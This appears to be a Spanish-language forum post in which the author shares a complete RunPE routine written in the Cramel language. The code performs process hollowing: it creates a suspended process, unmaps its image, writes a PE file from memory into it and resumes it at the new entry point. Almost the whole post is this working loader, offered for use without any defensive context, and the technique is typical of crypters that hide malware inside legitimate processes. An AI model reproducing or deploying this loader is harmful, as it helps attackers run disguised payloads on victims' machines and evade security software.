Hace un tiempo escribí este RunPE en Cramel, pero parece que olvide postearlo, así que acá se los dejo.
Importar "Cramel.cml"
' -------------------------------------------------------------------------------------------
' Nombre: RunPE
' Funcionamiento: Ejecuta un archivo en memoria.
' Programador: Yuki
' Parametros:
' Archivo - Nombre del archivo a simular.
' pArchivo - Puntero del buffer en memoria que contiene el archivo a ejecutar.
' Retorno:
' Ninguno.
' -------------------------------------------------------------------------------------------
Proc RunPE(Referencia Archivo:Cadena,pArchivo:Entero)
Var i:Entero
Var @Pidh:IMAGE_DOS_HEADER
Var @Pinh:IMAGE_NT_HEADERS
Var @Pish:IMAGE_SECTION_HEADER
Var SINFO:STARTUPINFO
Var PINFO:PROCESS_INFORMATION
Var Ctx:CONTEXT
' Iniciamos variables.
SINFO.cb = &STARTUPINFO
Ctx.ContextFlags = CONTEXT_FULL
' Obtenemos la estructura IMAGE_DOS_HEADER del archivo en memoria.
Pidh@ = pArchivo
' Obtenemos la estructura IMAGE_NT_HEADERS del archivo en memoria.
Pinh@ = pArchivo + Pidh.e_lfanew
' Creamos un nuevo proceso suspendido.
CreateProcess(Archivo,"",,,Falso,CREATE_SUSPENDED,0,0,SINFO,PINFO)
' ???
NtUnmapViewOfSection(PINFO.hProcess,Pinh.OptionalHeader.ImageBase)
' Creamos un buffer en el proceso creado con el tamaño del ejecutable en memoria.
VirtualAllocEx(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,Pinh.OptionalHeader.SizeOfImage,MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
' Escribimos en la memoria del proceso la cabecera del archivo en nuestra memoria.
WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,pArchivo,Pinh.OptionalHeader.SizeOfHeaders,0)
' Sondeamos las secciones.
Contar i a Pinh.FileHeader.NumberOfSections - 1
' Pish apunta a la información de las secciones disponibles.
Pish@ = pArchivo + Pidh.e_lfanew + &IMAGE_NT_HEADERS + &IMAGE_SECTION_HEADER * i
' Escribimos los datos de las secciones.
WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase+Pish.VirtualAddress,pArchivo+Pish.PointerToRawData,Pish.SizeOfRawData,0)
Seguir
' Obtenemos los valores de registros.
GetThreadContext(PINFO.hThread,Ctx)
' Inicializamos los registros.
WriteProcessMemory(PINFO.hProcess,Ctx.Ebx + 8,Pinh.OptionalHeader.ImageBase,4,0)
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
SetThreadContext(PINFO.hThread,Ctx)
' Iniciamos el hilo del proceso creado.
ResumeThread(PINFO.hThread)
FinProc
¡Saludos!